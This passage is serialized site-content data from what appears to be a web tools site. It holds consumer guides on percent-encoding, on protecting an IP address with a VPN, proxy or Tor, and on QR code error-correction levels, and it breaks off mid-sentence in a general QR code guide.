return encodeURIComponent(decodeURIComponent(str));\n  } catch {\n    return encodeURIComponent(str);\n  }\n}\n",[143,247652,247653,247658,247677,247694,247698,247703,247716,247722,247735,247743,247751,247755],{"__ignoreMap":141},[1560,247654,247655],{"class":1562,"line":1563},[1560,247656,247657],{"class":1649},"\u002F\u002F WRONG: Double-encoding produces %2520 instead of %20\n",[1560,247659,247660,247662,247665,247667,247669,247671,247673,247675],{"class":1562,"line":337},[1560,247661,8180],{"class":1669},[1560,247663,247664],{"class":1576}," already",[1560,247666,8186],{"class":1669},[1560,247668,33745],{"class":1566},[1560,247670,1688],{"class":1570},[1560,247672,34175],{"class":5634},[1560,247674,5171],{"class":1570},[1560,247676,34180],{"class":1649},[1560,247678,247679,247681,247684,247686,247688,247691],{"class":1562,"line":343},[1560,247680,8180],{"class":1669},[1560,247682,247683],{"class":1576}," double",[1560,247685,8186],{"class":1669},[1560,247687,33745],{"class":1566},[1560,247689,247690],{"class":1570},"(already);         ",[1560,247692,247693],{"class":1649},"\u002F\u002F \"hello%2520world\"\n",[1560,247695,247696],{"class":1562,"line":365},[1560,247697,1702],{"emptyLinePlaceholder":363},[1560,247699,247700],{"class":1562,"line":889},[1560,247701,247702],{"class":1649},"\u002F\u002F CORRECT: Check before encoding\n",[1560,247704,247705,247707,247710,247712,247714],{"class":1562,"line":1710},[1560,247706,8648],{"class":1669},[1560,247708,247709],{"class":1566}," safeEncode",[1560,247711,1688],{"class":1570},[1560,247713,38740],{"class":2219},[1560,247715,9345],{"class":1570},[1560,247717,247718,247720],{"class":1562,"line":1717},[1560,247719,102223],{"class":1669},[1560,247721,1571],{"class":1570},[1560,247723,247724,247726,247728,247730,247732],{"class":1562,"line":1747},[1560,247725,9434],{"class":1669},[1560,247727,33745],{"class":1566},[1560,247729,1688],{"class":1570},[1560,247731,101768],{"class":1566},[1560,247733,247734],{"class":1570},"(str));\n",[1560,247736,247737,247739,247741],{"class":1562,"line":2507},[1560,247738,102284],{"class":1570},[1560,247740,102287],{"class":1669},[1560,247742,1571],{"class":1570},[1560,247744,247745,247747,247749],{"class":1562,"line":2524},[1560,247746,9434],{"class":1669},[1560,247748,33745],{"class":1566},[1560,247750,99001],{"class":1570},[1560,247752,247753],{"class":1562,"line":2529},[1560,247754,4959],{"class":1570},[1560,247756,247757],{"class":1562,"line":2534},[1560,247758,1585],{"class":1570},[11,247760,321],{"id":320},[41,247762,247763,247768,247774],{},[44,247764,247765],{},[98,247766,247767],{"href":12184},"What Is URL Encoding",[44,247769,247770],{},[98,247771,247773],{"href":247772},"\u002Fguides\u002Furl-encoding-vs-base64","URL Encoding vs Base64",[44,247775,247776],{},[98,247777,242700],{"href":242699},[11,247779,286],{"id":285},[16,247781,247782,247783,247785],{},"Encode and decode any string instantly with our free ",[98,247784,120079],{"href":34509}," tool. Perfect for debugging URLs, testing API parameters, or learning percent-encoding hands-on.",[2043,247787,247788],{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .s7hpK, html code.shiki .s7hpK{--shiki-default:#B31D28;--shiki-default-font-style:italic;--shiki-dark:#FDAEB7;--shiki-dark-font-style:italic}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}",{"title":141,"searchDepth":337,"depth":337,"links":247790},[247791,247792,247797,247800,247801,247802,247805,247811,247812],{"id":246049,"depth":337,"text":246050},{"id":215149,"depth":337,"text":215150,"children":247793},[247794,247795,247796],{"id":246079,"depth":343,"text":246080},{"id":246405,"depth":343,"text":246406},{"id":246439,"depth":343,"text":246440},{"id":246477,"depth":337,"text":246478,"children":247798},[247799],{"id":246580,"depth":343,"text":246581},{"id":246596,"depth":337,"text":246597},{"id":246780,"depth":337,"text":246781},{"id":247269,"depth":337,"text":247270,"children":247803},[247804],{"id":190495,"depth":343,"text":247371},{"id":247449,"depth":337,"text":247450,"children":247806},[247807,247808,247809,247810],{"id":247453,"depth":343,"text":247454},{"id":247506,"depth":343,"text":247507},{"id":247573,"depth":343,"text":247574},{"id":247646,"depth":343,"text":247647},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Complete reference table of percent-encoded characters. Reserved and unreserved characters in RFC 3986 explained.",{"immutable":363},{"title":246044,"description":247813},"guides\u002Fpercent-encoding-reference","vcs2YhPAI4SfU-mpY3h-Sgh1Mnr-CbikslBnuMvISmw",{"id":247819,"title":247820,"body":247821,"date":235803,"description":248529,"extension":361,"meta":248530,"navigation":363,"path":248531,"readingTime":1710,"seo":248532,"stem":248533,"__hash__":248534},"guides\u002Fguides\u002Fprotect-your-ip-address.md","How to Protect Your IP Address: VPN, Proxy, and Tor Explained",{"type":8,"value":247822,"toc":248502},[247823,247827,247830,247833,247853,247857,247936,247939,247943,247949,247951,247957,247960,247964,248041,248045,248059,248063,248066,248098,248102,248108,248112,248165,248169,248243,248247,248258,248261,248265,248271,248275,248281,248284,248287,248339,248343,248357,248363,248367,248371,248374,248378,248404,248408,248487,248490,248492,248495],[11,247824,247826],{"id":247825},"why-your-ip-address-matters","Why Your IP Address Matters",[16,247828,247829],{},"Your IP address is your digital return label. Every website you visit, every video you stream, and every message you send carries your IP — telling the recipient exactly where to send the response.",[16,247831,247832],{},"That also means your IP reveals information about you:",[41,247834,247835,247841,247847],{},[44,247836,247837,247840],{},[47,247838,247839],{},"Approximate location"," — city, region, and country",[44,247842,247843,247846],{},[47,247844,247845],{},"Internet service provider"," — which ISP you use and often its infrastructure details",[44,247848,247849,247852],{},[47,247850,247851],{},"Browsing patterns"," — advertisers track IPs across sites to build profiles",[33,247854,247856],{"id":247855},"real-risks-of-ip-exposure","Real Risks of IP Exposure",[193,247858,247859,247870],{},[196,247860,247861],{},[199,247862,247863,247865,247868],{},[202,247864,207957],{},[202,247866,247867],{},"What Happens",[202,247869,170284],{},[211,247871,247872,247885,247897,247910,247923],{},[199,247873,247874,247879,247882],{},[216,247875,247876],{},[47,247877,247878],{},"Tracking",[216,247880,247881],{},"Ad networks log your IP to follow you across websites",[216,247883,247884],{},"Everyone",[199,247886,247887,247892,247895],{},[216,247888,247889],{},[47,247890,247891],{},"Targeted ads",[216,247893,247894],{},"Ads match your approximate location and browsing habits",[216,247896,247884],{},[199,247898,247899,247904,247907],{},[216,247900,247901],{},[47,247902,247903],{},"DDoS attacks",[216,247905,247906],{},"Attackers flood your IP with traffic, knocking you offline",[216,247908,247909],{},"Gamers, streamers",[199,247911,247912,247917,247920],{},[216,247913,247914],{},[47,247915,247916],{},"Geo-blocking",[216,247918,247919],{},"Content restricted based on your country",[216,247921,247922],{},"Travelers, expats",[199,247924,247925,247930,247933],{},[216,247926,247927],{},[47,247928,247929],{},"Doxxing",[216,247931,247932],{},"Your IP linked to personal identity",[216,247934,247935],{},"Public figures, activists",[16,247937,247938],{},"Protecting your IP is not about doing something illegal — it is about controlling what you share online.",[11,247940,247942],{"id":247941},"vpn-encrypt-and-redirect","VPN: Encrypt and Redirect",[16,247944,78047,247945,247948],{},[47,247946,247947],{},"VPN (Virtual Private Network)"," creates an encrypted tunnel between your device and a VPN server. Websites see the VPN server's IP, not yours.",[33,247950,31483],{"id":31482},[135,247952,247955],{"className":247953,"code":247954,"language":140},[138],"[Your Device] → [Encrypted Tunnel] → [VPN Server] → [Website]\n  Your IP hidden      VPN IP visible\n",[143,247956,247954],{"__ignoreMap":141},[16,247958,247959],{},"Your ISP cannot see which websites you visit — only that you connected to a VPN server. The website sees the VPN server's IP address instead of yours.",[33,247961,247963],{"id":247962},"pros-and-cons","Pros and Cons",[193,247965,247966,247976],{},[196,247967,247968],{},[199,247969,247970,247972,247974],{},[202,247971,13104],{},[202,247973,216048],{},[202,247975,216099],{},[211,247977,247978,247990,248002,248015,248028],{},[199,247979,247980,247984,247987],{},[216,247981,247982],{},[47,247983,85961],{},[216,247985,247986],{},"Hides IP from websites and ISP",[216,247988,247989],{},"VPN provider can see your traffic",[199,247991,247992,247996,247999],{},[216,247993,247994],{},[47,247995,22314],{},[216,247997,247998],{},"Encrypts all traffic",[216,248000,248001],{},"May slow connection by 10–30%",[199,248003,248004,248009,248012],{},[216,248005,248006],{},[47,248007,248008],{},"Geo-bypass",[216,248010,248011],{},"Access content from other countries",[216,248013,248014],{},"Some services block known VPN IPs",[199,248016,248017,248022,248025],{},[216,248018,248019],{},[47,248020,248021],{},"Ease of use",[216,248023,248024],{},"One-click apps for all devices",[216,248026,248027],{},"Quality VPNs cost $3–$12\u002Fmonth",[199,248029,248030,248035,248038],{},[216,248031,248032],{},[47,248033,248034],{},"Coverage",[216,248036,248037],{},"Protects all device traffic",[216,248039,248040],{},"Does not block cookies or browser fingerprinting",[33,248042,248044],{"id":248043},"when-to-use-a-vpn","When to Use a VPN",[41,248046,248047,248050,248053,248056],{},[44,248048,248049],{},"Browsing on public Wi-Fi (cafes, airports, hotels)",[44,248051,248052],{},"Accessing geo-restricted content while traveling",[44,248054,248055],{},"Preventing ISP tracking of your browsing history",[44,248057,248058],{},"Adding a layer of security for sensitive transactions",[33,248060,248062],{"id":248061},"choosing-a-vpn","Choosing a VPN",[16,248064,248065],{},"Look for these features:",[41,248067,248068,248074,248080,248086,248092],{},[44,248069,248070,248073],{},[47,248071,248072],{},"No-log policy"," — the provider does not record your activity",[44,248075,248076,248079],{},[47,248077,248078],{},"Kill switch"," — blocks internet if the VPN disconnects",[44,248081,248082,248085],{},[47,248083,248084],{},"Leak protection"," — prevents DNS and WebRTC leaks",[44,248087,248088,248091],{},[47,248089,248090],{},"Server locations"," — more countries means more options",[44,248093,248094,248097],{},[47,248095,248096],{},"Independent audits"," — third-party verification of privacy claims",[11,248099,248101],{"id":248100},"proxy-quick-and-lightweight","Proxy: Quick and Lightweight",[16,248103,78047,248104,248107],{},[47,248105,248106],{},"proxy server"," acts as a middleman for your traffic. Unlike a VPN, a proxy typically only covers specific applications (like your browser), not your entire device.",[33,248109,248111],{"id":248110},"types-of-proxies","Types of Proxies",[193,248113,248114,248124],{},[196,248115,248116],{},[199,248117,248118,248120,248122],{},[202,248119,34969],{},[202,248121,489],{},[202,248123,127255],{},[211,248125,248126,248139,248152],{},[199,248127,248128,248133,248136],{},[216,248129,248130],{},[47,248131,248132],{},"HTTP proxy",[216,248134,248135],{},"Web browsing only",[216,248137,248138],{},"No encryption; only handles HTTP traffic",[199,248140,248141,248146,248149],{},[216,248142,248143],{},[47,248144,248145],{},"HTTPS proxy",[216,248147,248148],{},"Secure web browsing",[216,248150,248151],{},"Only handles web traffic",[199,248153,248154,248159,248162],{},[216,248155,248156],{},[47,248157,248158],{},"SOCKS5 proxy",[216,248160,248161],{},"Any traffic type (email, torrents, etc.)",[216,248163,248164],{},"No built-in encryption",[33,248166,248168],{"id":248167},"how-proxies-differ-from-vpns","How Proxies Differ from VPNs",[193,248170,248171,248183],{},[196,248172,248173],{},[199,248174,248175,248177,248180],{},[202,248176,5867],{},[202,248178,248179],{},"VPN",[202,248181,248182],{},"Proxy",[211,248184,248185,248197,248207,248219,248231],{},[199,248186,248187,248191,248194],{},[216,248188,248189],{},[47,248190,65684],{},[216,248192,248193],{},"All device traffic",[216,248195,248196],{},"Browser or app-specific",[199,248198,248199,248203,248205],{},[216,248200,248201],{},[47,248202,84413],{},[216,248204,3057],{},[216,248206,3099],{},[199,248208,248209,248213,248216],{},[216,248210,248211],{},[47,248212,819],{},[216,248214,248215],{},"Slightly slower due to encryption",[216,248217,248218],{},"Often faster",[199,248220,248221,248225,248228],{},[216,248222,248223],{},[47,248224,85940],{},[216,248226,248227],{},"App installation",[216,248229,248230],{},"Browser settings or extension",[199,248232,248233,248237,248240],{},[216,248234,248235],{},[47,248236,248034],{},[216,248238,248239],{},"System-wide",[216,248241,248242],{},"Application-level",[33,248244,248246],{"id":248245},"when-to-use-a-proxy","When to Use a Proxy",[41,248248,248249,248252,248255],{},[44,248250,248251],{},"Quickly bypassing a geo-block for a single website",[44,248253,248254],{},"Web scraping with rotating IPs",[44,248256,248257],{},"Situations where speed matters more than encryption",[16,248259,248260],{},"Proxies are not a replacement for VPNs — they lack encryption and system-wide protection.",[11,248262,248264],{"id":248263},"tor-maximum-anonymity","Tor: Maximum Anonymity",[16,248266,248267,248270],{},[47,248268,248269],{},"Tor (The Onion Router)"," bounces your traffic through three random relay servers around the world. Each relay peels off one layer of encryption, revealing only the next hop — never the full path.",[33,248272,248274],{"id":248273},"how-tor-works","How Tor Works",[135,248276,248279],{"className":248277,"code":248278,"language":140},[138],"[Your Device] → [Entry Node] → [Middle Node] → [Exit Node] → [Website]\n  Encrypted        Knows your IP   Knows entry IP   Knows destination\n  3 layers         Not destination Not you & dest    Not you\n",[143,248280,248278],{"__ignoreMap":141},[16,248282,248283],{},"No single node knows both who you are and what you are accessing.",[33,248285,247963],{"id":248286},"pros-and-cons-1",[193,248288,248289,248297],{},[196,248290,248291],{},[199,248292,248293,248295],{},[202,248294,216048],{},[202,248296,216099],{},[211,248298,248299,248307,248315,248323,248331],{},[199,248300,248301,248304],{},[216,248302,248303],{},"Strong anonymity by design",[216,248305,248306],{},"Very slow (browsing only)",[199,248308,248309,248312],{},[216,248310,248311],{},"Free and open source",[216,248313,248314],{},"Exit nodes can be monitored",[199,248316,248317,248320],{},[216,248318,248319],{},"Access .onion hidden services",[216,248321,248322],{},"Some websites block Tor exits",[199,248324,248325,248328],{},[216,248326,248327],{},"No central provider to trust",[216,248329,248330],{},"Not suitable for streaming or downloads",[199,248332,248333,248336],{},[216,248334,248335],{},"Resists traffic analysis",[216,248337,248338],{},"Browser fingerprinting still possible",[33,248340,248342],{"id":248341},"when-to-use-tor","When to Use Tor",[41,248344,248345,248348,248351,248354],{},[44,248346,248347],{},"Researching sensitive topics (medical, legal, political)",[44,248349,248350],{},"Accessing censored content in restrictive regions",[44,248352,248353],{},"Communicating as a whistleblower or journalist",[44,248355,248356],{},"When anonymity matters more than speed",[16,248358,248359,248362],{},[47,248360,248361],{},"Do not"," use Tor for streaming, large downloads, or logging into personal accounts — the combination of speed and exit node monitoring makes it unsuitable.",[11,248364,248366],{"id":248365},"other-methods","Other Methods",[33,248368,248370],{"id":248369},"dns-over-https-doh","DNS over HTTPS (DoH)",[16,248372,248373],{},"DNS requests normally travel in plain text, revealing which domains you visit to anyone on your network. DoH encrypts DNS queries, preventing local eavesdropping. Most modern browsers support it natively.",[33,248375,248377],{"id":248376},"browser-settings","Browser Settings",[41,248379,248380,248386,248392,248398],{},[44,248381,248382,248385],{},[47,248383,248384],{},"Disable WebRTC"," — prevents IP leaks through browser APIs",[44,248387,248388,248391],{},[47,248389,248390],{},"Use privacy extensions"," — block trackers and fingerprinting scripts",[44,248393,248394,248397],{},[47,248395,248396],{},"Clear cookies regularly"," — cookies can re-identify you even with a hidden IP",[44,248399,248400,248403],{},[47,248401,248402],{},"Use private browsing modes"," — prevents local storage of session data",[11,248405,248407],{"id":248406},"which-method-should-you-choose","Which Method Should You Choose?",[193,248409,248410,248422],{},[196,248411,248412],{},[199,248413,248414,248417,248420],{},[202,248415,248416],{},"Your Goal",[202,248418,248419],{},"Best Method",[202,248421,21086],{},[211,248423,248424,248434,248444,248454,248465,248476],{},[199,248425,248426,248429,248431],{},[216,248427,248428],{},"General privacy on Wi-Fi",[216,248430,248179],{},[216,248432,248433],{},"Encrypts all traffic, easy to use",[199,248435,248436,248439,248441],{},[216,248437,248438],{},"Bypass geo-blocks",[216,248440,248179],{},[216,248442,248443],{},"Reliable IP masking with server choice",[199,248445,248446,248449,248451],{},[216,248447,248448],{},"Quick web access to a blocked site",[216,248450,248182],{},[216,248452,248453],{},"Fast, no installation needed",[199,248455,248456,248459,248462],{},[216,248457,248458],{},"Maximum anonymity",[216,248460,248461],{},"Tor",[216,248463,248464],{},"Multi-hop encryption, no trust required",[199,248466,248467,248470,248473],{},[216,248468,248469],{},"Prevent DNS snooping",[216,248471,248472],{},"DoH",[216,248474,248475],{},"Encrypts DNS queries specifically",[199,248477,248478,248481,248484],{},[216,248479,248480],{},"Stop tracker fingerprinting",[216,248482,248483],{},"Browser settings",[216,248485,248486],{},"Blocks complementary tracking methods",[16,248488,248489],{},"Many users combine methods — a VPN for daily protection, Tor for sensitive tasks, and DoH for DNS privacy.",[11,248491,286],{"id":285},[16,248493,248494],{},"Wondering if your IP protection is working? Use these free tools to verify:",[41,248496,248497],{},[44,248498,248499,248501],{},[98,248500,239186],{"href":239185}," — Check your current public IP and see if it matches your real location or your VPN\u002Fproxy server",{"title":141,"searchDepth":337,"depth":337,"links":248503},[248504,248507,248513,248518,248523,248527,248528],{"id":247825,"depth":337,"text":247826,"children":248505},[248506],{"id":247855,"depth":343,"text":247856},{"id":247941,"depth":337,"text":247942,"children":248508},[248509,248510,248511,248512],{"id":31482,"depth":343,"text":31483},{"id":247962,"depth":343,"text":247963},{"id":248043,"depth":343,"text":248044},{"id":248061,"depth":343,"text":248062},{"id":248100,"depth":337,"text":248101,"children":248514},[248515,248516,248517],{"id":248110,"depth":343,"text":248111},{"id":248167,"depth":343,"text":248168},{"id":248245,"depth":343,"text":248246},{"id":248263,"depth":337,"text":248264,"children":248519},[248520,248521,248522],{"id":248273,"depth":343,"text":248274},{"id":248286,"depth":343,"text":247963},{"id":248341,"depth":343,"text":248342},{"id":248365,"depth":337,"text":248366,"children":248524},[248525,248526],{"id":248369,"depth":343,"text":248370},{"id":248376,"depth":343,"text":248377},{"id":248406,"depth":337,"text":248407},{"id":285,"depth":337,"text":286},"Learn why and how to protect your IP address. Compare VPNs, proxies, and Tor with pros, cons, and real-world recommendations.",{"immutable":363},"\u002Fguides\u002Fprotect-your-ip-address",{"title":247820,"description":248529},"guides\u002Fprotect-your-ip-address","uzctEtAoMdWcdpc2uykxlGKBewxXSq9Zf0nGIV6M498",{"id":248536,"title":248537,"body":248538,"date":235803,"description":249007,"extension":361,"meta":249008,"navigation":363,"path":249009,"readingTime":1710,"seo":249010,"stem":249011,"__hash__":249012},"guides\u002Fguides\u002Fqr-code-error-correction.md","QR Code Error Correction: L, M, Q, H Levels Explained",{"type":8,"value":248539,"toc":248993},[248540,248547,248550,248554,248561,248580,248587,248590,248594,248597,248667,248671,248676,248687,248690,248701,248705,248710,248713,248716,248727,248731,248736,248739,248742,248753,248757,248762,248769,248772,248786,248790,248797,248881,248891,248895,248898,248924,248929,248933,248936,248953,248962,248964,248983,248985,248988],[16,248541,248542,248543,248546],{},"QR codes have a superpower most people never think about: they can survive damage. Tear off a corner, smudge part of the surface, or cover a section — the code still scans. This resilience comes from ",[47,248544,248545],{},"error correction",", built into every QR code by design.",[16,248548,248549],{},"Understanding error correction levels helps you make smarter choices when generating QR codes for print, packaging, or digital screens.",[11,248551,248553],{"id":248552},"how-qr-code-error-correction-works","How QR Code Error Correction Works",[16,248555,248556,248557,248560],{},"QR codes use ",[47,248558,248559],{},"Reed-Solomon error correction",", the same algorithm used in CDs, DVDs, and satellite transmissions. Here's the basic idea:",[77,248562,248563,248570,248577],{},[44,248564,248565,248566,248569],{},"The encoder takes your raw data and splits it into ",[47,248567,248568],{},"data codewords"," (each codeword = 8 bits).",[44,248571,248572,248573,248576],{},"It then generates ",[47,248574,248575],{},"error correction codewords"," using polynomial division over a Galois field (GF(2⁸)).",[44,248578,248579],{},"Both data and error correction codewords are written into the QR code.",[16,248581,248582,248583,248586],{},"If part of the code gets damaged, the scanner reads the surviving error correction codewords and ",[47,248584,248585],{},"reconstructs the missing data"," mathematically.",[16,248588,248589],{},"This means a QR code can tolerate up to a certain percentage of damage and still function perfectly.",[11,248591,248593],{"id":248592},"the-four-error-correction-levels","The Four Error Correction Levels",[16,248595,248596],{},"QR codes offer four levels, each trading data capacity for resilience:",[193,248598,248599,248612],{},[196,248600,248601],{},[199,248602,248603,248605,248607,248610],{},[202,248604,3291],{},[202,248606,21954],{},[202,248608,248609],{},"Damage Tolerance",[202,248611,171562],{},[211,248613,248614,248626,248639,248654],{},[199,248615,248616,248620,248622,248624],{},[216,248617,248618],{},[47,248619,159450],{},[216,248621,15466],{},[216,248623,165924],{},[216,248625,171575],{},[199,248627,248628,248632,248634,248636],{},[216,248629,248630],{},[47,248631,22024],{},[216,248633,7639],{},[216,248635,171066],{},[216,248637,248638],{},"~15% less than L",[199,248640,248641,248646,248649,248651],{},[216,248642,248643],{},[47,248644,248645],{},"Q",[216,248647,248648],{},"Quartile",[216,248650,21008],{},[216,248652,248653],{},"~30% less than L",[199,248655,248656,248660,248662,248664],{},[216,248657,248658],{},[47,248659,159483],{},[216,248661,15446],{},[216,248663,2173],{},[216,248665,248666],{},"~40% less than L",[33,248668,248670],{"id":248669},"level-l-low-7","Level L — Low (7%)",[16,248672,248673,248675],{},[47,248674,84807],{}," Digital displays, email signatures, clean environments.",[16,248677,248678,248679,248682,248683,248686],{},"Level L dedicates the fewest modules to error correction, leaving maximum room for data. A Version 10 QR code in numeric mode stores ",[47,248680,248681],{},"652 digits"," at Level L but only ",[47,248684,248685],{},"395"," at Level H.",[16,248688,248689],{},"Use Level L when:",[41,248691,248692,248695,248698],{},[44,248693,248694],{},"The QR code will be displayed on a screen (no wear risk)",[44,248696,248697],{},"You need maximum data capacity",[44,248699,248700],{},"The environment is clean and controlled",[33,248702,248704],{"id":248703},"level-m-medium-15","Level M — Medium (15%)",[16,248706,248707,248709],{},[47,248708,84807],{}," General-purpose print, business cards, flyers.",[16,248711,248712],{},"Level M is the default in most QR code generators. It offers a solid balance — enough correction for typical print wear without a steep capacity penalty.",[16,248714,248715],{},"Use Level M when:",[41,248717,248718,248721,248724],{},[44,248719,248720],{},"Printing on standard paper or card stock",[44,248722,248723],{},"The code won't face harsh conditions",[44,248725,248726],{},"You want a reasonable safety margin",[33,248728,248730],{"id":248729},"level-q-quartile-25","Level Q — Quartile (25%)",[16,248732,248733,248735],{},[47,248734,84807],{}," Outdoor signage, product packaging, industrial labels.",[16,248737,248738],{},"Level Q can survive significant damage — a quarter of the code can be missing or obscured. This makes it ideal for environments where codes face dirt, weather, or rough handling.",[16,248740,248741],{},"Use Level Q when:",[41,248743,248744,248747,248750],{},[44,248745,248746],{},"The code will be outdoors or in a warehouse",[44,248748,248749],{},"It might get partially covered by labels or packaging seams",[44,248751,248752],{},"You're printing on materials that can smudge (thermal paper, etc.)",[33,248754,248756],{"id":248755},"level-h-high-30","Level H — High (30%)",[16,248758,248759,248761],{},[47,248760,84807],{}," Industrial marking, harsh environments, artistic QR codes with logos.",[16,248763,248764,248765,248768],{},"Level H sacrifices the most capacity but delivers maximum resilience. It's also the level you need when placing a ",[47,248766,248767],{},"logo or image"," in the center of a QR code — the lost data area is recovered by the strong error correction.",[16,248770,248771],{},"Use Level H when:",[41,248773,248774,248777,248780,248783],{},[44,248775,248776],{},"The code will be etched, engraved, or stamped (imperfect surfaces)",[44,248778,248779],{},"You're embedding a logo in the center",[44,248781,248782],{},"The code faces extreme conditions (chemicals, abrasion, weather)",[44,248784,248785],{},"Reliability is more important than data size",[11,248787,248789],{"id":248788},"capacity-trade-offs-a-real-example","Capacity Trade-Offs: A Real Example",[16,248791,248792,248793,248796],{},"Here's how error correction level affects capacity for a ",[47,248794,248795],{},"Version 10"," QR code:",[193,248798,248799,248818],{},[196,248800,248801],{},[199,248802,248803,248806,248809,248812,248815],{},[202,248804,248805],{},"Data Mode",[202,248807,248808],{},"Level L",[202,248810,248811],{},"Level M",[202,248813,248814],{},"Level Q",[202,248816,248817],{},"Level H",[211,248819,248820,248834,248850,248866],{},[199,248821,248822,248824,248827,248830,248832],{},[216,248823,25757],{},[216,248825,248826],{},"652",[216,248828,248829],{},"532",[216,248831,248685],{},[216,248833,248685],{},[199,248835,248836,248839,248842,248845,248848],{},[216,248837,248838],{},"Alphanumeric",[216,248840,248841],{},"399",[216,248843,248844],{},"326",[216,248846,248847],{},"242",[216,248849,248847],{},[199,248851,248852,248855,248858,248861,248864],{},[216,248853,248854],{},"Byte",[216,248856,248857],{},"272",[216,248859,248860],{},"222",[216,248862,248863],{},"165",[216,248865,248863],{},[199,248867,248868,248871,248874,248877,248879],{},[216,248869,248870],{},"Kanji",[216,248872,248873],{},"166",[216,248875,248876],{},"136",[216,248878,41973],{},[216,248880,41973],{},[16,248882,248883,248886,248887,248890],{},[47,248884,248885],{},"Key takeaway:"," Moving from L to H can cut capacity by ",[47,248888,248889],{},"40% or more",". If your data is long (like a vCard with full contact info), you may need a larger QR code version at higher correction levels.",[11,248892,248894],{"id":248893},"when-to-choose-each-level","When to Choose Each Level",[16,248896,248897],{},"Here's a quick decision framework:",[41,248899,248900,248906,248912,248918],{},[44,248901,248902,248905],{},[47,248903,248904],{},"Clean digital display?"," → Level L",[44,248907,248908,248911],{},[47,248909,248910],{},"Standard office print?"," → Level M",[44,248913,248914,248917],{},[47,248915,248916],{},"Outdoor or industrial?"," → Level Q",[44,248919,248920,248923],{},[47,248921,248922],{},"Logo overlay or extreme conditions?"," → Level H",[16,248925,248926,248928],{},[47,248927,175170],{}," Using Level H for everything \"just in case.\" This inflates the QR code unnecessarily, making it denser and harder to scan from a distance. Match the level to the actual risk.",[11,248930,248932],{"id":248931},"error-correction-vs-error-prevention","Error Correction vs. Error Prevention",[16,248934,248935],{},"Error correction is not a substitute for good design. Even at Level H, a QR code can fail if:",[41,248937,248938,248944,248947,248950],{},[44,248939,421,248940,248943],{},[47,248941,248942],{},"quiet zone"," (white border) is missing or too narrow",[44,248945,248946],{},"Contrast between dark and light modules is too low",[44,248948,248949],{},"The surface is curved or reflective, distorting the image",[44,248951,248952],{},"The code is printed too small for the scanning distance",[16,248954,248955,248957,248958,248961],{},[47,248956,7247],{}," Print size should be at least ",[47,248959,248960],{},"10× the scanning distance in cm",". If someone scans from 20 cm away, the code should be at least 2 cm wide.",[11,248963,321],{"id":320},[41,248965,248966,248972,248978],{},[44,248967,248968],{},[98,248969,248971],{"href":248970},"\u002Fguides\u002Fqr-code-guide","QR Codes Explained",[44,248973,248974],{},[98,248975,248977],{"href":248976},"\u002Fguides\u002Fqr-code-use-cases","QR Code Use Cases",[44,248979,248980],{},[98,248981,248982],{"href":84534},"Base64 Encoding Guide",[11,248984,286],{"id":285},[16,248986,248987],{},"Want to see how error correction affects your QR code? Our free generator lets you choose the level and preview the result instantly.",[16,248989,4531,248990],{},[98,248991,248992],{"href":95695},"Generate a QR Code with Custom Error Correction — Free Tool",{"title":141,"searchDepth":337,"depth":337,"links":248994},[248995,248996,249002,249003,249004,249005,249006],{"id":248552,"depth":337,"text":248553},{"id":248592,"depth":337,"text":248593,"children":248997},[248998,248999,249000,249001],{"id":248669,"depth":343,"text":248670},{"id":248703,"depth":343,"text":248704},{"id":248729,"depth":343,"text":248730},{"id":248755,"depth":343,"text":248756},{"id":248788,"depth":337,"text":248789},{"id":248893,"depth":337,"text":248894},{"id":248931,"depth":337,"text":248932},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Understand QR code error correction levels. Learn how L, M, Q, and H affect readability, data capacity, and when to use each level.",{"immutable":363},"\u002Fguides\u002Fqr-code-error-correction",{"title":248537,"description":249007},"guides\u002Fqr-code-error-correction","eTxVydHx0zAPznMPw8p8dKSV1UaRSgQv8dTM5_zFms8",{"id":249014,"title":249015,"body":249016,"date":235803,"description":249462,"extension":361,"meta":249463,"navigation":363,"path":248970,"readingTime":1710,"seo":249464,"stem":249465,"__hash__":249466},"guides\u002Fguides\u002Fqr-code-guide.md","QR Codes Explained: How They Work and How to Create Them",{"type":8,"value":249017,"toc":249445},[249018,249021,249025,249035,249038,249064,249068,249071,249075,249078,249098,249101,249105,249108,249112,249115,249119,249129,249133,249136,249140,249143,249212,249217,249221,249224,249229,249249,249256,249260,249263,249299,249302,249306,249343,249347,249415,249418,249420,249435,249437,249440],[16,249019,249020],{},"QR codes are everywhere — on business cards, product packaging, restaurant tables, and billboards. But how do they actually work under the hood? This guide breaks down the structure, encoding, and scanning process so you can create QR codes with confidence.",[11,249022,249024],{"id":249023},"what-is-a-qr-code","What Is a QR Code?",[16,249026,249027,249028,1531,249031,249034],{},"A QR (Quick Response) code is a two-dimensional barcode invented in 1994 by Denso Wave, a Toyota subsidiary. Unlike traditional barcodes that store data in one direction, QR codes store data both horizontally and vertically — packing up to ",[47,249029,249030],{},"7,089 numeric characters",[47,249032,249033],{},"4,296 alphanumeric characters"," into a single square.",[16,249036,249037],{},"The key advantages over linear 